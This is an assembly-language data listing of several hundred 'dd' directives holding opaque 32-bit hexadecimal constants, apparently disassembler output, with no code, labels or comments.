dd 99E0BBE1h, 15ADE7C8h, 8C312E9Ch, 0BBB98E96h, 42884967h
dd 0E03738C7h, 0C539FB09h, 0D3FCC5D5h, 88B38621h, 148DC1BFh
dd 46285DCh, 5BB1C94Ah, 801EB5CBh, 0B3D8EDE2h, 917B4106h
dd 6CF2F4A1h, 0BBD74DA9h, 3900B0ABh, 3143CA37h, 0A0043F5Dh
dd 0FA3E790Ah, 0CFDA68ADh, 0D1D0ABA9h, 0E94F9688h, 9E468DCEh
dd 92ACD32h, 72E717C4h, 393A2666h, 0CC4BEC1Ah, 52CC3AB2h
dd 2CFDF92Eh, 4D7CBE00h, 0BF9F5863h, 0F909C5C5h, 8A2EA6E8h
dd 53186B12h, 2A1E61CCh, 85B4DBBDh, 484AC5AFh, 8A62BC2h
dd 7364715Ch, 59B79E60h, 19F52C88h, 0F9A1A243h, 0C05B10C7h
dd 333C7231h, 145336C7h, 875B7662h, 93AFECAFh, 8E2F3C92h
dd 0F45ED4FFh, 241E9282h, 2C6D6942h, 8E6B6467h, 8627D13Eh
dd 1D1F8960h, 29B6B817h, 0FA63B004h, 0A1BF9DC0h, 861EC845h
dd 3DE9494Bh, 0ADADBA4Dh, 0E56D8452h, 9CCC08F6h, 5F95D60Eh
dd 723C4F3Ah, 0BDA12217h, 7DA10147h, 7A98FE6Eh, 0F93255D6h
dd 93074869h, 0A7257492h, 0ABCF397Bh, 4789F70Ch, 0AF6BFE7Eh
dd 0B706B23Ah, 705739E0h, 0F144A2B2h, 0B7BDE621h, 94EC996Fh
dd 97BF25ABh, 0C6307C7Eh, 0B2B51332h, 0DEC43853h, 0C2EC6695h
dd 280B3B7Dh, 883FD0B5h, 69C741D1h, 869E240Dh, 1393E35Ah
dd 0E06CDE91h, 0C5AF9466h, 3FF2C54Bh, 0A5AD3A5Dh, 776E8452h
dd 0F0A0C18h, 874F60BEh, 0D5803396h, 3D512E46h, 7B396320h
dd 0F0AF0D8Bh, 0F16E5DB7h, 0AA172285h, 94B0623Dh, 0C85CC068h
dd 99006D00h, 5BBD5EDBh, 25B1DC9Ah, 0D04E9DF8h, 59214E4Fh
dd 147BE999h, 5FDE4F19h, 9BE43B80h, 0C63CBC7Ah, 0B2AD9F3Ah
dd 0FB79B463h, 0D322960Dh, 0CD04B264h, 27797E93h, 1ECE79E0h
dd 0B6EB07h, 127AFB5Ah, 4582B62h, 704CA912h, 157672A6h
dd 9EFDB37Ch, 0EADF9150h, 1BC6E375h, 3F4ECE77h, 15983304h
dd 0BD612E42h, 8D177428h
dd 3BDEB973h, 0E97F742h, 0E4945951h, 36A56A95h, 0E41F0064h
dd 71F0BAFDh, 0BFE96089h, 0F55A0F2Bh, 0AD33BBE5h, 8E214A6Ah
dd 0EB7B8B29h, 8413F978h, 4BF547D5h, 4AFEC86h, 0A2504F33h
dd 247E4363h, 0D3CC06C8h, 0EEC57BDh, 0C7452940h, 0E12413B9h
dd 6826B922h, 0B23EFC4Ah, 7A7C0E61h, 0B2367D37h, 0C38B6933h
dd 87E80616h, 0A310729Eh, 0BAE9F3ACh, 40C56FEh, 6052B0D7h
dd 2D61D206h, 634DA4D4h, 0DD2F4526h, 0E748B1E5h, 0DE17B5EDh
dd 0D02C419Ch, 368F982Ah, 95817B69h, 8B9D688Dh, 0CC3A98C9h
dd 0D42EEDC4h, 6745B036h, 7E7BDFAAh, 9EF532Ah, 53813882h
dd 392D13FAh, 755CFB9Ch, 0DB1A8B56h, 8B3973Dh, 0A53F7019h
dd 5C282A19h, 0E180760Dh, 911EC9E8h, 4AEB0B75h, 3FEBF5C4h
dd 4E31C597h, 788129DCh, 0C6CE4545h, 8B71F150h, 5F0C4FF0h
dd 0DDE06E01h, 0EC95B0E8h, 0D582C5EAh, 0A8A8BED3h, 0DCE2CCC0h
dd 1B671D5Eh, 0CF1766ADh, 0F920C3FCh, 0F424D030h, 0EC109E59h
dd 646ADD9Ch, 3C5999E5h, 0D95B64FBh, 0E84CC1EAh, 7C5F8528h
dd 94EFF0E3h, 4C6D2144h, 0D17D8301h, 0B25390B3h, 0AEA06E5Ah
dd 6FB11A11h, 5EAC9ADAh, 0D10F88A8h, 931E9588h, 96E13992h
dd 562643A5h, 0FA06BE21h, 0B0AC1978h, 76FE949h, 5C37C527h
dd 81857313h, 4FFD9925h, 0C4F886EBh, 815D35D6h, 8D34D19Ah
dd 47779895h, 0D462E959h, 874167B7h, 6092C24Fh, 0A55A656Ah
dd 0A4402852h, 96F73215h, 0CB889EA6h, 0E0A1C866h, 1B052A14h
dd 0A76CB239h, 959E007Dh, 84EB1184h, 0EC8617CBh, 3947BC90h
dd 0B3393F65h, 0DB81485Bh, 972F686Dh, 875F6413h, 0BA406307h
dd 0F647CE51h, 96C94928h, 0ECEE4203h, 3ADDF9E8h, 0AFC71BFBh
dd 6905C323h, 5DBD464Dh, 761184C5h, 0D7F7868Ah, 1A482B01h
dd 0F60CA0C6h, 64E546E4h, 0A8807762h, 8D21B697h, 81EC67FCh
dd 0D8E81E4Fh, 3EA564D9h, 0BBA50315h, 39009F40h, 6B9DBFC8h
dd 0D9BDBEE5h, 5B43E8h, 22B803E9h, 300E77AEh, 0ECE37C96h
dd 0ABD0BD8Eh, 0C6FA261Eh, 0E10BE708h, 251524DCh, 2C6F8B5Dh
dd 0EB530B8h, 38DFF450h, 1FA7903Bh, 965918E8h, 3A43AB2Fh
dd 137FCE44h, 513F0EA1h, 6905ADA0h, 1DB83A4Dh, 85448453h
dd 6C5C706Eh, 0D18C4AFEh, 0F2B1ACh, 0C224A34Fh, 0E6B79898h
dd 0D03172A6h, 0EC7361ABh, 6AEB0CF0h, 8A665E6h, 6FC94E34h
dd 89FF609Ch, 1B88998Ah, 94A1CA63h, 3F911B16h, 64CDC6A1h
dd 0ECFE1033h, 0D21106A1h, 0BBFD0F47h, 0C67D6432h, 0B2AC7D6Ah
dd 0CEA565C3h, 0C33E66F1h, 0F5BFC2EEh, 0A507393Fh, 13C26DA8h
dd 17D1CE8h, 0EB7252h, 438E875h, 0A1047AEDh, 0F2055CDCh
dd 0A5508558h, 8D95B5BFh, 6C560C63h, 0CFB04B00h, 0A5756829h
dd 41063854h, 0BAECE49Ch, 8F1E8978h, 11BEB9F7h, 0B2428A24h
dd 3EA52263h, 0F6A4C304h, 92009F29h, 616304Fh, 71340315h
dd 80A4930Ah, 1431D772h, 9D7B6EDDh, 5986BF85h, 53C02469h
dd 0C6D1ABF5h, 37D8E83Eh, 24A4FEC3h, 0DCC3F0CDh, 1BBC7F2Dh
dd 0C10F3B84h, 0C3871105h, 3C59AE8h, 0C873DB5Ah, 1E2BE9Dh
dd 533F5512h, 0C71D1673h, 24BCC5B1h, 0A18A842Ah, 9873A38Ah
dd 0B84BC0CBh, 35F8E99Fh, 3FD2AAB3h, 33856760h, 2E619548h
dd 25748AFFh, 0BCFF5975h, 4D5A6528h, 8BC94E4Dh, 99FF60EBh
dd 2B929831h, 95A43B9Dh, 0CD4B722Ah, 9BC12E30h, 1411F9DDh
dd 8436642Ch, 0BB5549A3h, 69D142E6h, 4E9D2490h, 0E6DF22F3h
dd 0C3239EADh, 8BF27E87h, 2D0830C0h, 0A68C1D8h, 79B59DDBh
dd 94647BDFh, 84EFBE28h, 0ABC0397Ah, 98D2423h, 0FD50BABDh
dd 0AA879150h, 0F34FE375h, 0EAA03E27h, 0CA89B043h, 6F197E43h
dd 0EEE8674Ch, 0D15BC412h, 0AEC81D71h, 0D517CCFCh, 0FEF56509h
dd 874CEE38h, 1E68C19Eh, 0B68D6441h, 4E5DC798h, 0C9B32028h
dd 0BD312A99h, 91F6F604h, 7B112545h, 976A0CE5h, 6077FD26h
dd 0B28D1A3Fh, 0DBD0BFF3h, 83DF6731h, 0E57D945h, 5FA69840h
dd 0E00B980Dh, 0EC582DE8h, 0EFD4335Ah, 5DF5E6CDh, 1A294912h
dd 88F796F6h, 0B1C5C989h, 0CBDD85C5h, 0AFD61F75h, 729B3AFh
dd 25924F36h, 0C11D3854h, 0A70CE49Eh, 0DC6A89CFh, 0FEA092FBh
dd 8E02B66Dh, 0FBB59A12h, 0EB4CA807h, 0A90068FBh, 0F7317126h
dd 143CD69Dh, 3FA4AAD7h, 4837CEE5h, 9122B95Dh, 9E3CD86h
dd 440C8432h, 2CD06DDDh, 0A254CD9Fh, 2B56B71Eh, 3B7666C2h
dd 0E775285h, 0A6274799h, 1F721785h, 390A86E7h, 0ED2BDEA5h
dd 6DBC8E9Dh, 563EAC14h, 0DA12C17Ah, 0EBF1454Ch, 1BBD0DF4h
dd 0E91A30B6h, 166BF676h, 3C007306h, 0E9427E58h, 86A43AEAh
dd 0D75621B3h, 0EAC8F290h, 3717B51Dh, 12B5E765h, 0CAB3CEB1h
dd 0B1019E67h, 0E47E8BF1h, 843A98E2h, 3983FDDFh, 0E43122B1h
dd 9D8246C5h, 0EED94284h, 44E65BB9h, 38299D2Bh, 562C5957h
dd 1FD4CD7Ch, 5A221211h, 0E6238568h, 0D2EFE16Ah, 19273DD8h
dd 1AEA6516h, 0C929BB52h, 32867E9Dh, 2B3EE6C6h, 7440E5E7h
dd 622BC18Ah, 0B63A41D0h, 0CF3DF24Ch, 0C75846EAh, 0B59D81D1h
dd 0D38875E3h, 0E0DBA43Bh, 0DEBA05CFh, 0EF93BE1Ch, 28FCB654h
dd 95A1D955h, 0F31749D5h, 0EE045924h, 0AB9D9AD8h, 0D5CCC09Ch
dd 0A82EA152h, 70156A31h, 0CCF173D5h, 0D12DC21Fh, 5750A132h
dd 6E79EE2Eh, 0B3513927h, 0AF45CDA3h, 2C3A9981h, 0F6998D8h
dd 31EA24D0h, 778E6177h, 7A34771Fh, 0ED13CEA5h, 0F4866E9Dh
dd 4FD139CAh, 0EF47269h, 55ECCC15h, 0BD27442Ah, 0FFD00C77h
dd 62A44A00h, 0DC40C501h, 0BF312DB5h, 512DA000h, 24EF6DADh
dd 0C0C78716h, 97F490Bh, 0E1B59A26h, 0F7B06EB1h, 853D1A57h
dd 0FB8D6A69h, 86BEDF69h, 0AB70D2h, 533E6AAAh, 14884D5Ah
dd 9D06D951h, 0E22C9B5Ah, 0C93B5E4Fh, 559A137h, 0DBA13AA6h
dd 6427C94Dh, 0E9B74A8h, 0B8379D50h, 46D87F6Fh, 6660F24Eh
dd 793BE3AAh, 976E96F9h, 59126BFAh, 785230DCh, 0C4202D09h
dd 0A9B4D44Fh, 9931F36Bh, 3093E2BAh, 8A1D5684h, 6949F2C8h
dd 5F5867BFh, 2DE19AC9h, 43BB2618h, 0A117A578h, 0F0A562ABh
dd 0CB31481h, 1CECDCEEh, 0AE196519h, 0EEB1C29Eh, 4CB392A2h
dd 3DCEC966h, 69FB9FD6h, 1E179BAh, 0BBD306EFh, 39F07F7Ah
dd 6103D92Fh, 0D40BCCACh, 83C8DB0Ah, 0F18F0E92h, 0DA2F22B5h
dd 9CC87D50h, 0AAF005D3h, 3783FB2Fh, 6FFE5E45h, 5A3E2A21h
dd 0FF15C07Ah, 91C0454Ch, 4E4D8477h, 1FCC2069h, 7FDDF9A6h
dd 0BAB5A0C1h, 40ACD856h, 0B1403798h, 3A4E4999h, 3EC83192h
dd 0C7FF1040h, 9F5A653Bh, 6C48B644h, 7E01414Ah, 6C92B36Ch
dd 7141D119h, 680D2CC7h, 1BCEED04h, 917495DDh, 0ECFE1C83h
dd 0ABD3F36Dh, 0C6FAA7E6h, 77B0E8D8h, 0B3533342h, 0C32C4948h
dd 0F1B1B1C5h, 3A9996BFh, 0E0F865F9h, 9ED08C4Eh, 0EDF33DFh
dd 80B999F5h, 76707102h, 165316DCh, 89A8C4D0h, 9F86C159h
dd 0F0987745h, 0DDFC3EFFh, 12ADB016h, 0C0BEFC29h, 0B70C0F3Dh
dd 0E2764941h, 98481D4Dh, 0A9DB0C9Ch, 81264B7Bh, 0BCA4CC40h
dd 0FF7ADAh, 0DF62969Eh, 81E46786h, 5D1985Eh, 60F14D6Bh
dd 0EBA8ACD7h, 0F9688D09h, 0BBE23B57h, 0B2EFC10Ah, 7260E56Ah
dd 25ECF372h, 0D31A5288h, 58DF7AECh, 2DEAFA28h, 10D30577h
dd 75C0C192h, 0F2A78EA5h, 7711EC97h, 44B9D14Bh, 0F5E2B923h
dd 1454BA9Eh, 165E9346h, 0C420C4Ah, 9841CF14h, 5BCDE93Ch
dd 57612E6Dh, 4B17B57Fh
dd 69361F6Ah, 9BC81C9Dh, 0A4E30B58h, 8EB5EC76h, 0F74C1827h
dd 8ED17C2Fh, 5E744965h, 0D9B1EF1Ch, 5A5F2Fh, 0A1BCCAD1h
dd 0FC2EB1A7h, 7B1697D6h, 32CD2006h, 36EF78C5h, 0B260769Bh
dd 22C0B063h, 6EF591DDh, 1DB7AADh, 5BC18CF7h, 5A5CCDh
dd 18D51D15h, 182D3E49h, 0CF1A0E9Dh, 92C05B2Fh, 321F1D23h
dd 51ABC5DBh, 0E8FBDC7h, 1981B5Ah, 0EED5C103h, 7AADB04Fh
dd 3FB602D2h, 65598F7Dh, 2C47B6CDh, 3DE41316h, 2E133E7Bh
dd 1CC170AEh, 27CF308Bh, 0DC003EBh, 7BD8D7BCh, 91B1EE9Dh
dd 1BDFFB3Bh, 0F2BACFCEh, 1478FD29h, 7BE93B88h, 0BBD9F431h
dd 0EE2C5502h, 0E688211Fh, 8341CCC2h, 0A7AD1A64h, 7E618A57h
dd 3A27CAC4h, 77AD68h, 18359C4Eh, 0CCED6370h, 0BD060E9Dh
dd 0C83D86C3h, 35361CDCh, 1242554Ch, 5FA67B7Ah, 5007D6C9h
dd 0CF882EFCh, 456A47D9h, 0BE696B7Ch, 5DA8676Dh, 2CA1B636h
dd 0C44315E4h, 0F58AA69Fh, 61FC6759h, 0AB4C2339h, 8D75798Eh
dd 644804F2h, 1DD9B0E3h, 684AA406h, 1BCE1250h, 3EAA1901h
dd 0DAB6294Fh, 0E6312DD2h, 0CFBB95BDh, 72E64EF8h, 0EF402077h
dd 0C3746F21h, 0F1079CC5h, 0F7AC92BFh, 10477CB4h, 6EFD7D17h
dd 0E53135Ah, 9A6E1235h, 0C501CEF9h, 945D0CAAh, 3C29921Ah
dd 7E308453h, 8F55F320h, 2F943EC0h, 0FA9D993Ah, 0B68DEA38h
dd 3D770DB4h, 0C96119DCh, 0D3B71FB3h, 0D347BE4Ch, 0EC59388Bh
dd 0E7714C44h, 69108657h, 2E107F2Eh, 1F59B860h, 19A5551Fh
dd 6431E201h, 0ED8F1058h, 82039BC5h, 7C55448Bh, 0EFE5D52Dh
dd 0E68B210Fh, 8347CCE3h, 38811624h, 0B6A727CBh, 3A07D416h
dd 0FFA85ECBh, 0BD5D484Eh, 0E46C1B5Dh, 8A125688h, 8D29BA02h
dd 3EF84ACBh, 2965C0B3h, 0F380B5ADh, 0E8E98C91h, 0F780E863h
dd 0C555AA2Ah, 82327744h, 0A468974Eh, 35DB3D2Fh, 3BC81C07h
dd 2D3EBD29h, 0B5FBC796h, 141123ADh, 0D0E50E12h, 7B954276h
dd 6C3AB81Ch, 6A1EC2C0h, 587457B8h, 327A690Bh, 406A0949h
dd 799A381h, 3935FD32h, 0A7166B72h, 0DA60864Bh, 6FFDEE4Dh
dd 5E34B35Ah, 0D23966A8h, 0EAFE0988h, 0D1D02B10h, 1BD35CADh
dd 8B69B31Eh, 0FB23CA66h, 7FB4E42Bh, 71A23ABBh, 6E120747h
dd 7B38AA4Ah, 5EB256EFh, 0FF80A0C2h, 0C75ED907h, 94268F23h
dd 8147492Eh, 0DFC338EEh, 1ACEE595h, 7420159Eh, 43B330C3h
dd 0D926D08Fh, 0C8C44FDAh, 65B1E6E2h, 19D6C6F6h, 0E1BCC6BCh
dd 0EB876EEFh, 0A2D610EAh, 0E2853B6Fh, 0B43A4B4Dh, 4D958FFAh
dd 0F7527E2Ch, 8A7E609Bh, 0A242C234h, 82F81937h, 510B1705h
dd 6D1FE97Dh, 1886AB30h, 8B8BDEF7h, 7A607C9Fh, 0A761D6DCh
dd 9D49BA4Ch, 0E3258453h, 9F78878Ah, 58CF8E48h, 1A604F3Dh
dd 47C12E78h, 4DDFCBC6h, 784BB6D6h, 0FC27E395h, 924C0E39h
dd 9966C56Ah, 0F73A752h, 0C16A8708h, 4E621770h, 61B118AFh
dd 40DF6F5Bh, 0E05BE2C8h, 14AE0B3Ah, 9117BBABh, 0ABDC26C5h
dd 0CFB3B827h, 4D36B812h, 0DA4696D6h, 38BC518Dh, 1B3C193Ch
dd 0C20F1AF8h, 0B992ABDBh, 5C85E5EAh, 43F2F39Ah, 71E8FB5Eh
dd 0DFC07591h, 0F058BE75h, 435CCA4Ch, 0A136EEAFh, 7098435Fh
dd 0C2F7B7EDh, 9231C402h, 38C12E10h, 0B2DEFD18h, 0CC611A38h
dd 0DDB71EDBh, 0EE92887Ch, 2BF6938Bh, 0BB17701h, 22C0B637h
dd 0A6622670h, 7E100DAh, 0BDE6A72Dh, 0A4B4BEBDh, 69FBA026h
dd 879DDC4Ch, 0ED9B0442h, 0C48EAB55h, 4D36236Fh, 0DA4996E6h
dd 8C9AE9EDh, 0E27615B3h, 5AA2239Dh, 1D7BD56Dh, 65E86A44h
dd 1806BB30h, 948BBEF7h, 8BB6B978h, 0C9E9274Bh, 475F2F5Ch
dd 5C8EEADh, 0BDA7E6B5h, 0A7B52EFDh, 2F9AA6B7h, 0A8F1D214h
dd 0B3EC574Dh, 5ADB3C2Bh, 9CDC1CA5h, 57FC8EC0h, 0D741DD31h
dd 844CCEE4h, 320068A2h, 0B89DF8FFh, 32B1177Ah, 0C75A44B6h
dd 0E43052F8h, 51F5A14Dh, 78AD4141h, 0EB30DEF8h, 0C665FCCCh
dd 0B2997742h, 0AF75ABF3h, 43759FCBh, 33EB4E51h, 0D3FFE570h
dd 0C9645DFDh, 5CD216E8h, 292F289Ah, 1C3ACE5Dh, 0D91E04FEh
dd 34013E75h, 3E5FFA24h, 2430EEAFh, 0E07C0C4Ah, 8E3C3E00h
dd 0EAD3501h, 387746B4h, 29A06771h, 8A0E49FCh, 3303F6ACh
dd 0C09E5EEDh, 0C0D16E6Bh, 0FC7826A2h, 30597F18h, 1E62421Dh
dd 81B11B27h, 784F4980h, 0ED21A640h, 4F26E6B5h, 6161ED65h
dd 0E8C057F4h, 0CF0669F4h, 0BD640C37h, 0B0B64493h, 63739E3Dh
dd 87E74990h, 0DC276707h, 1F7F30Ch, 5E39317h, 9EC1DC0h
dd 21F461CAh, 0CD79EFh, 0C1EBACE0h, 0EAB61668h, 1FCE7B51h
dd 0DEE835C3h, 743A4B02h, 47EDA53Dh, 46463E85h, 0B355DF64h
dd 32AEC035h, 24C1D224h, 6F0324F9h, 0C2A54E7Ch, 0CB593193h
dd 2810807Ah, 6E4690D9h, 0E44EB614h, 905A496Bh, 0B6DA628Ch
dd 449CF4C1h, 38FD57F4h, 3ECF5B84h, 0BA3E0A5Eh, 0C7635B3Ah
dd 9C411F80h, 0F5119798h, 0E994947h, 1BFA1C13h, 84D75C75h
dd 0D01281D7h, 19ACD358h, 839F7E76h, 98DDE582h, 0B737D91Eh
dd 0BA5DB04Ch, 41617B61h, 30904B5Eh, 0D2DB69EDh, 0EA5D4D75h
dd 675EDE0Ch, 0EE64EE2Dh, 3F171CE7h, 0CE970FD6h, 52444EE5h
dd 0DC9AF089h, 7B26CEDBh, 0BCFF80CDh, 0FB9DE8EAh, 11342617h
dd 414C3EDCh, 645BBEA2h, 14134926h, 848298CAh, 0BB06F513h
dd 5337D48Ah, 0B3775B4Dh, 25D82EB3h, 0BB6A6E7Ch, 1EEFABE5h
dd 0D30176A8h, 14280898h, 7E350CDBh, 0C2E918D3h, 831F51E8h
dd 97DDC582h, 0B137981Eh, 6B4D304Ch, 4B8B9150h, 6C87E34Bh
dd 0D6DFC103h, 0FBACF00Dh, 0EF312E85h, 4ED07289h, 1AEF5927h
dd 0D03750BCh, 0D39126E1h, 0DE4D88D6h, 2EB33168h, 0F9477E76h
dd 0FB9D1A65h, 3167C476h, 0EDDF35C3h, 0B4CE455Ch, 0E8A154B0h
dd 16598A1h, 4420E590h, 0C7D77B1Fh, 37EB4CC8h, 254ED043h
dd 80690B0Dh, 0F32F5D52h, 135AFD40h, 14D850FDh, 7E557187h
dd 1928D367h, 14633B9Dh, 31A26DDh, 4CCC97C7h, 159C54Dh
dd 50D4212Ch, 93710CB4h, 41CD298h, 0F94D40A8h, 0FE21DAE0h
dd 0B3499F32h, 5F934926h, 2F481DBFh, 8FEB0B14h, 0B2F5748Bh
dd 66B39DB6h, 89007CA3h, 0DBE8DA5Fh, 0ED21F761h, 0F067AED3h
dd 1131B6A6h, 0EBB6DA4Ch, 3CFD87F1h, 0EDCF3B82h, 0C4882B6Dh
dd 4AEF233Fh, 53E9710Ch, 80AD3B51h, 0ED8233Bh, 0D3ADEECFh
dd 14C842E2h, 7E7574A7h, 0A66928D3h, 688875E9h, 0EDDDF613h
dd 0AD33FFB9h, 0B14DBA1Fh, 2F2D8452h, 0F58CA58Dh, 0B718C32Dh
dd 3A04F9Bh, 0EA412E7Bh, 4E907288h, 1A6F5921h, 126CBD19h
dd 82F2C7CCh, 0DAA0A42Ah, 71A9D84h, 91005703h, 279D9E97h
dd 99E102E1h, 805A9D7Fh, 79BCEBFBh, 0EB86AD4Eh, 78E8ED2Eh
dd 538F24BEh, 39305FF6h, 0DAAAB27Eh, 0CAB3F9D9h, 0F2E68ECEh
dd 57BA4B2Dh, 56421971h, 0FEF8BF74h, 6EAAED47h, 66C6F355h
dd 6C60AB10h, 0EC8D66EDh, 3F32E921h, 0F4F8D0B3h, 5EBB94AFh
dd 75B29B3Eh, 0B8EBC505h, 0FBBDB1E1h, 0C2B9AB0Bh, 3E58988Bh
dd 246485A5h, 543AB3A0h, 0FFE8B45Dh, 0CCA5F36Eh, 7B4C1D6Eh
dd 72FC38D8h, 0BE62FCA5h, 41B0F14Ah, 0BA9E675Ah, 0A4B7B15Ch
dd 91BFC93Bh, 7B14A35Bh, 62579343h, 0BCB1AE8Ah, 4D8EC9E3h
dd 689D023h, 56A26601h, 3C5C3F2Dh, 66C8AE36h, 0FDE8BD74h
dd 9D2994E8h, 92E5EB5Ah, 746965C3h, 0FA887A4Fh, 95DE28C7h
dd 9E5B4548h, 16E980C8h, 38F27E5Bh, 37EFC101h, 3B856727h
dd 34287782h, 4F139FE1h
dd 235BC4ECh, 82C81CC6h, 137ECB9h, 65A4CFB6h, 679A510Ch
dd 0C4E8DDD7h, 0E29D00BBh, 45358247h, 50A51ED7h, 0B4CE092Eh
dd 2B11ED23h, 0EEEB5FADh, 0D1D98145h, 0C1B91386h, 0E28E8CECh
dd 0DA9DAD0Bh, 47A6995Dh, 884D4A50h, 0D7B6E680h, 0C56F4889h
dd 61D56552h, 6667035Ah, 0C8584B10h, 72345D78h, 98E79C4Ah
dd 332E3A5Ch, 0F7A0915Fh, 9DBEE34Bh, 770C3C02h, 0D6A9DACFh
dd 9331D6C7h, 58C80D78h, 0CB1E9CFDh, 2D4B96C3h, 0EEAD75Ah
dd 58C015BAh, 0EE48A17Ch, 13507692h, 0E39D6ABFh, 81B0DABCh
dd 3FA69553h, 64CFD2B6h, 0EC1C6259h, 9EF22AEh, 0D1896302h
dd 513C9486h, 0A27066FDh, 25615AECh, 0D34DFF28h, 65572F7Dh
dd 0C33F3F0Bh, 20D4BE2h, 60004E7Fh, 9E58F44Ah, 64F80B62h
dd 7AB66912h, 732229C1h, 0D15A5A84h, 6669C4F9h, 0C07B1043h
dd 7623F90h, 7B400FA7h, 0C5E4D192h, 4D307282h, 0FC365912h
dd 3B27E3F5h, 0F1750E9h, 0CAF5D6F7h, 4F4C1D53h, 616A8F8Dh
dd 9B48B3B3h, 0DC5F18Eh, 7DC2F2D3h, 6A5A58A3h, 0FC69E591h
dd 84EB5F2Fh, 0D389CB10h, 293C0770h, 0B21AF26Dh, 0DA4B556Bh
dd 2FC4980Dh, 0F0C150D2h, 0A6C4FB40h, 9E6AB374h, 3BF595EAh
dd 0A090FFD3h, 1548B8CEh, 1B4E19C7h, 0F0358322h, 334F3A4Ch
dd 8B2A845Ch, 0DCBD7688h, 2FB6DE1h, 8B9D4C2Bh, 86D2E80Ah
dd 3074C768h, 0B068CC1Dh, 9377D227h, 0CC264DA0h, 0F966CDFCh
dd 0B7CF2EC5h, 914503FFh, 97D88DABh, 0B9B0648Eh, 4055E693h
dd 645846CAh, 6186F922h, 8C9EC7A4h, 464DAEB4h, 0F9B82EFAh
dd 0C78F147Ah, 0C470C727h, 93EF677Dh, 1922BBBDh, 0D34DF5AAh
dd 0FD673B77h, 750A6D62h, 73EDE6C2h, 661C8B62h, 7123A507h
dd 0D8D92032h, 30DC108Fh, 516DD7F0h, 2973B6C0h, 528BC2BFh
dd 0E6DE6C7h, 0E0B12E9Dh, 0C597A0F4h, 0DA74A1F1h, 5D6EE321h
dd 5E09A48Ah, 0FD59E359h, 3F4DA112h, 51008A87h, 873914E4h
dd 0C933191Eh, 895E902Eh, 0A23AAF50h, 69A6C404h, 0DB2B0177h
dd 5750F013h, 0B068DDABh, 0A29CF112h, 51C8FF70h, 0A63C7B00h
dd 1528D7B9h, 0AF227AC3h, 77B9958Ch, 88C45C10h, 638DA3D4h
dd 0C95B8B10h, 7F58E67Ah, 7B390322h, 0A2B2C939h, 0DA017BA8h
dd 3AB1F3B6h, 7B84A3Ah, 24625B0Fh, 8CC922F6h, 0E65867A8h
dd 3FE18E83h, 0B6E0BA79h, 0DBFF1947h, 0BA59687h, 0D4C1C798h
dd 25450769h, 1B6144B6h, 0E1F58407h, 935A8EFEh, 9BCA375Bh
dd 14842556h, 70AEA18Ah, 44202ED0h, 39C0E327h, 460E366Fh
dd 8C875FD3h, 2FC197EEh, 0D861005h, 146A6ED0h, 0C6C4ED77h
dd 9D51E207h, 30A24012h, 9AB6EFF5h, 0B7E91102h, 0DE60D6DDh
dd 8713857Dh, 23F90DFBh, 522AA688h, 0C6983E42h, 0E5E358CEh
dd 52822E83h, 8E284702h, 205ECC81h, 22671CD8h, 0EE85F30h
dd 82D06992h, 70B3EABCh, 0D5C40D59h, 9B18C2D2h, 44F14E5h
dd 80DF663Ah, 0B4CDBF44h, 0EB874DAAh, 1B27964h, 8ADD3FF1h
dd 3BD61FEEh, 3B283556h, 895BF72Fh, 8F3E3FCBh, 79DA4F09h
dd 0AFA09F64h, 0FDDA08ACh, 62E26363h, 60A6F078h, 6523AD5Bh
dd 3C4CBD66h, 862582CAh, 24159C4Ch, 9A02A0D4h, 8FA5EE0Bh
dd 53773FA3h, 0DD79C431h, 0FF820C80h, 0C81E13F4h, 97DD690Ch
dd 0C0F10B75h, 214E4F43h, 89BB7EC4h, 8A15CB2Ch, 0C9034875h
dd 0E8C65F24h, 0E9558184h, 405ACAAEh, 642FB94Dh, 2186DA42h
dd 94EA1ED4h, 0BB0C9D5Bh, 0EDCBD73Ah, 0B01B256Fh, 32182AF3h
dd 2C4597D4h, 885F9A6Eh, 0BB75F500h, 2573688h, 8134E49Ah
dd 0B3D44A5h, 8AE36A7Bh, 6F0C4F7Ah, 813AC132h, 96A7C54Ch
dd 0F5E87B5Eh, 442EE78Fh, 0E1C5E57Fh, 0DB653508h, 45F1D17Ch
dd 8EEE3737h, 0C15BC41Fh, 8EC81CC5h, 790BACA9h, 1BFCCF96h
dd 78ACCBA1h, 5768DFB9h, 538D064Fh, 0A1B0DFE7h, 5AEB47h
dd 1957B425h, 0D0FA7282h, 68624B95h, 328DA868h, 193D27C3h
dd 0E39B7557h, 8999AAFEh, 838E978Bh, 655D5FABh, 0C31355E7h
dd 37BA8E0h, 61461507h, 0F1E5435Ah, 195C7163h, 0AEDC49D6h
dd 80A6EC2Dh, 0DF27C54Ch, 0E7108480h, 6049F3CEh, 51C46E05h
dd 337DB01Ah, 0EAE1FA33h, 0FC8656Ah, 3CAEA18Eh, 1A341CDBh
dd 0E3D4C66Bh, 56A2E351h, 7CACCBB9h, 4808FA9h, 0F462E6BBh
dd 1CAC7F51h, 3FBAE81Ah, 2233B15Ah, 6179BFFDh, 0BA6B467Ch
dd 0FDD06F1Bh, 7F11F9E4h, 4D72B399h, 0DB9F7AA6h, 0D33DE42Dh
dd 5DB4A68Dh, 0D303A128h, 86FE4388h, 9470CCCh, 732D1FFFh
dd 7B631B10h, 868986EDh, 8338352Eh, 24C31C15h, 91EE64A0h
dd 430C9B1Bh, 36C02EFAh, 1345B01Ah, 0BB112E81h, 7054E9EBh
dd 0D19ACAF1h, 33BEB875h, 0EE428C20h, 0B2A52E6Bh, 86A4CB34h
dd 0F2008F7Ah, 4BA8F98Dh, 99A00B97h, 905A3B44h, 0E4E628CDh
dd 147BED6Ch, 3E038087h, 3827F4C4h, 0F9B8CFDAh, 0B2F57048h
dd 0DAF2AA83h, 5EB9693Dh, 0F2A959A8h, 0B873D3BFh, 6BAF1C5Ch
dd 7164A167h, 60CDD132h, 67FA861Dh, 0A9DAE6EDh, 7F86036h
dd 6549B097h, 9DF28425h, 0D22DF3B4h, 695BDEFBh, 1641C4CEh
dd 84E12E39h, 49898CFCh, 0B79E7789h, 0E137ADD0h, 221F3B57h
dd 0DA899044h, 44CCDCAh, 0A806DF43h, 0EB188BEBh, 814FF530h
dd 4041A547h, 0E96B0FAAh, 0EB9999F9h, 0EF82A87Fh, 0D3C83BEFh
dd 293EEB6Ah, 0B2723727h, 2157C233h, 173D9682h, 841C06FDh
dd 86C4D12Ch, 30FFB01h, 89747137h, 60EDC0E2h, 0F28A7FF7h
dd 92C939C6h, 8B6A157h, 5AB6A54Ch, 9B426CF0h, 0A32C0CB4h
dd 72E956EBh, 0A3ADA0CEh, 0E2CED148h, 6F68E28Eh, 0AA8EB6F6h
